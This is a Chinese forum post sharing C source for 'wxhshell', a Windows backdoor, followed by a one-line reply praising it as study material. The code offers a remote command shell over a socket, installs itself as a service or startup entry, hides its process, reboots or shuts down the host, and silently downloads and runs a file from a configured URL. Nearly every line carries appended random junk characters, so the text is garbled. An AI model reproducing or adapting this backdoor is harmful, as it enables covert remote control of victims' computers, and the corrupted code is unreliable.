  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G?Za/G  
  if(DownloadFile(cmd,wsh)) w zi7pJjXh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |+qsO ;  
  else !=u=P9I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _`,ZI{.J^  
  } U U#tm  
  else { QvJ29  
UUF]45t>  
    switch(cmd[0]) {  SWyJ`  
  SH O&:2  
  // 帮助 ~(:0&w%e  
  case '?': { D Q c pIV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N1" bH~  
    break; /[n]t  
  } FU;a { irB  
  // 安装 "Jdi>{o8  
  case 'i': { 8/;@4^Ux  
    if(Install()) hBhbcWD,ka  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *w}r:04F  
    else G"".;}AV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b*4aUpW  
    break; q_[`PYT  
    } s +E4AG1r  
  // 卸载 ubc k{\.  
  case 'r': { d<E2=WVB6  
    if(Uninstall()) U~dqxR"Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WC b 5  
    else 4JXJ0T ar  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z 0F55<i  
    break; nswhYSX  
    } !_W']Crb]]  
  // 显示 wxhshell 所在路径 -#R63f&  
  case 'p': { 2-@t,T  
    char svExeFile[MAX_PATH]; ;Zn&Nc7  
    strcpy(svExeFile,"\n\r"); !sYZ1;WAO  
      strcat(svExeFile,ExeFile); :z6?  
        send(wsh,svExeFile,strlen(svExeFile),0); +]0hSpZ"p  
    break; }9FWtXAU^1  
    } D[4%CQ1m  
  // 重启 ] v:"    
  case 'b': { fA=Lb^,M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ezri9\Ju  
    if(Boot(REBOOT)) {\|XuCF#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 15%6;K?b  
    else { w{N8Y ~O  
    closesocket(wsh); 9E|QPT  
    ExitThread(0); :^FH.6}x  
    } 5r d t  
    break; I*/:rb  
    } 1[- `*Ph  
  // 关机 ,wy;7T>ODd  
  case 'd': { Y@qugQM>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %4BQY>O)@  
    if(Boot(SHUTDOWN)) w{]B)>! 1W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L x iN9  
    else { "W_E!FP]r  
    closesocket(wsh); /UaQ 2h\  
    ExitThread(0); $-<yX<.  
    } k0TQFx.A  
    break; fG{3S:TQq  
    } fd62m]X  
  // 获取shell "Nz"|-3Irv  
  case 's': { 1`l(H4  
    CmdShell(wsh); MYR\W*B'b  
    closesocket(wsh); x@:98P  
    ExitThread(0); 8cRc5X  
    break; 9Vt6);cA-]  
  } A;f)`i0l,  
  // 退出 %CgmZTz~<  
  case 'x': { p:ZQ*Ue  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -^8OjGat  
    CloseIt(wsh); Y^|15ek  
    break; Yk*_u}?#  
    } G=C2l# Ae!  
  // 离开 R@`xS<`L/  
  case 'q': { % 3fpIzm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c;=St1eoz  
    closesocket(wsh); 0 t/mLw&  
    WSACleanup(); !~ j9Oc^  
    exit(1); {96NtR0Z  
    break; PTTUI  
        } ]{I>HA5[  
  } y{XNB}E  
  } *$/Go8t4u  
ucbtPTFYvr  
  // 提示信息 8 -w|~y';  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *Tmqs@L  
} gLx?0eBBA  
  } .mOm@<Xdg  
Oo ^ AE  
  return; !A14\  
} - 8jlh  
vi[~Qt  
// shell模块句柄 B =DV!oUg  
int CmdShell(SOCKET sock) .dvs&+I  
{ )5Cqyp~P  
STARTUPINFO si; >z,Y%A  
ZeroMemory(&si,sizeof(si)); R1.Yx?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8-smL^~%#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $lJ!f  
PROCESS_INFORMATION ProcessInfo; b0tbS[j  
char cmdline[]="cmd"; YYvX@f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CM `Q((  
  return 0; 0|4R8Dh*-  
} j9cB<atL  
g1B P  
// 自身启动模式 U<'$ \ P  
int StartFromService(void) QqXaXx;  
{ PC%_^BDW  
typedef struct U)3?&9H  
{ x26 sH5  
  DWORD ExitStatus; HhzPKd  
  DWORD PebBaseAddress; j",*&sy  
  DWORD AffinityMask; 1o)<23q`)  
  DWORD BasePriority; Ysi@wK-LnF  
  ULONG UniqueProcessId; _sHeB7K  
  ULONG InheritedFromUniqueProcessId; dp3TJZ+U  
}   PROCESS_BASIC_INFORMATION; n9 Jev_!A  
G)""^YB-  
PROCNTQSIP NtQueryInformationProcess; l 5f'R  
U1kW1L}B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nYj7r* e[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q"-Vh,8h  
~fO#En  
  HANDLE             hProcess; ~0vNs2D,S  
  PROCESS_BASIC_INFORMATION pbi; &3*r-9BZ  
)F0Q2P1I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B\`${O(  
  if(NULL == hInst ) return 0; Fo]]j=  
bnE&-N*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LI"N^K'z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /4+*!X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CKDg3p';  
y!j>_m){w  
  if (!NtQueryInformationProcess) return 0; 26j-1c!NGd  
`EiL~*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LBcqFvj{&  
  if(!hProcess) return 0; 3V]psZS  
;[|+tO_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {|e7^_ke  
E/E|*6R  
  CloseHandle(hProcess); &(20*Vn,O  
UG<<.1JL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q|g>ga-a  
if(hProcess==NULL) return 0; ^;Yjs.bI`F  
o K&G  
HMODULE hMod; ;47=x1j i  
char procName[255]; "&mwrjn"T  
unsigned long cbNeeded; 5%DHF-W)  
8JO(P0aT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n|PW^kOE/  
9|9/8a6A  
  CloseHandle(hProcess); YDEb MEMd/  
li~=85 J  
if(strstr(procName,"services")) return 1; // 以服务启动 [,|4%Y  
.O PBET(gv  
  return 0; // 注册表启动 1ay{uU!EL  
} #Vm)wH3  
R7x*/?  
// 主模块 _cbXzSYq&  
int StartWxhshell(LPSTR lpCmdLine) b+71`aD0  
{ W#9LK Jj  
  SOCKET wsl; /NVyzM51V  
BOOL val=TRUE; zG&yu0;D6  
  int port=0; 57$/Dn  
  struct sockaddr_in door; ;ZZmX]kz,M  
 <XnxAA  
  if(wscfg.ws_autoins) Install(); QwI HEmdM  
1_LGlu~&  
port=atoi(lpCmdLine); C,{ Ekbg  
)/{~&L U  
if(port<=0) port=wscfg.ws_port; A{52T]9X  
j*_#{niy:  
  WSADATA data; 5)M#hx%]#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o^BX:\}  
yLt>OA<X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   VO*fC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]Vf2Mn=]"  
  door.sin_family = AF_INET; SLud}|f;o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9cMMkOM J  
  door.sin_port = htons(port); Ude)$PAe%  
@h7 i;Ok  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j,N,WtE  
closesocket(wsl); I4zm{ 1g  
return 1; r / L  
} l{_1`rC'  
&|Vzo@D(!  
  if(listen(wsl,2) == INVALID_SOCKET) { }z2K"eGt  
closesocket(wsl); ]tEH`Kl  
return 1; o(xt%'L`t  
} IPnx5#eB  
  Wxhshell(wsl); .~4DlT  
  WSACleanup(); QST-!`]v  
[xPO'@Y  
return 0; mzTM&@  
0a)LZp|  
} DZ5h<1  
_[J>GfQd  
// 以NT服务方式启动 Qexv_:C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y-*]6:{E  
{ ;3sJ7%`v  
DWORD   status = 0; y Xi$w.gr  
  DWORD   specificError = 0xfffffff; 6;}FZ  
U6_GEBz~y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; kn6X I*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,j\UZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t$*CyYb{@  
  serviceStatus.dwWin32ExitCode     = 0; y1Yrf,E m=  
  serviceStatus.dwServiceSpecificExitCode = 0; h/#s\>)T  
  serviceStatus.dwCheckPoint       = 0; X(K5>L>  
  serviceStatus.dwWaitHint       = 0; )<%IY&\  
b_oUG_B3]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "H)D~K~ *  
  if (hServiceStatusHandle==0) return; Z`'&yG;U  
rh(77x1|(G  
status = GetLastError(); ZRoOdo94  
  if (status!=NO_ERROR) AW`+lE'?  
{ 1;[ZkRbzL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u-~?ylh  
    serviceStatus.dwCheckPoint       = 0; J<7nOB}OD  
    serviceStatus.dwWaitHint       = 0;  xXZ {  
    serviceStatus.dwWin32ExitCode     = status;  /w(t=Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; B_|jDH#RyJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x^6sjfAW  
    return; ,"4  
  } QgW4jIbx  
/%h<^YDBf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ITEd[ @^d  
  serviceStatus.dwCheckPoint       = 0; :8Jn?E (36  
  serviceStatus.dwWaitHint       = 0; >*[Bq;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0D48L5kH#'  
} EX,)MU  
P 4jg]g  
// 处理NT服务事件,比如:启动、停止 /'>#1J|TlK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) '~kAsn*/  
{ dK?vg@|'  
switch(fdwControl) 4krK CD>|G  
{ YW)& IA2  
case SERVICE_CONTROL_STOP: ZG)%vB2c  
  serviceStatus.dwWin32ExitCode = 0; %NfbgJcL_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; swT/ tesj  
  serviceStatus.dwCheckPoint   = 0; 1\BQq  
  serviceStatus.dwWaitHint     = 0; 9WsGoZP n  
  { ` Ui|T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /YH5s=  
  } =lqGt.x  
  return; j`kw2(  
case SERVICE_CONTROL_PAUSE: L;k9}HWpP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0 6S-3bis  
  break; N6_<[`  
case SERVICE_CONTROL_CONTINUE: A!j6JY.w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I^fKZ^]8P  
  break; QBfsdu<@^  
case SERVICE_CONTROL_INTERROGATE: `O|PP3S  
  break; (E(kw="  
}; dD0:K3@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~T<o?98  
} y%x2  
^3  '7  
// 标准应用程序主函数 F;^GhiQVS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $^4URH  
{ C@L8,Kj ~.  
SB' $?Kh  
// 获取操作系统版本 }J&[Uc  
OsIsNt=GetOsVer(); N!&$fhY)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d*xKq"+ &E  
6P KH%  
  // 从命令行安装 4RV5:&ALLS  
  if(strpbrk(lpCmdLine,"iI")) Install(); o Z#4<7K  
!mLY W  
  // 下载执行文件 5>'1[e45  
if(wscfg.ws_downexe) { }2eP~3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ou<Vg\Mu  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2qD80W<1  
} 7+vyN^XJ"5  
i-4pdK u  
if(!OsIsNt) { Dpa PRA)x  
// 如果时win9x,隐藏进程并且设置为注册表启动 REvY`   
HideProc(); qm1;^j&y  
StartWxhshell(lpCmdLine); lIj2w;$v  
} Rv T>{G~  
else $pm5G} .  
  if(StartFromService()) m# ]VdO'f  
  // 以服务方式启动 E#=slj @  
  StartServiceCtrlDispatcher(DispatchTable); `kd P)lI `  
else 3tlA! e  
  // 普通方式启动 ."m2/Ks7  
  StartWxhshell(lpCmdLine); hDJ84$eVZ  
E%vG#  
return 0; vUXas*s4  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五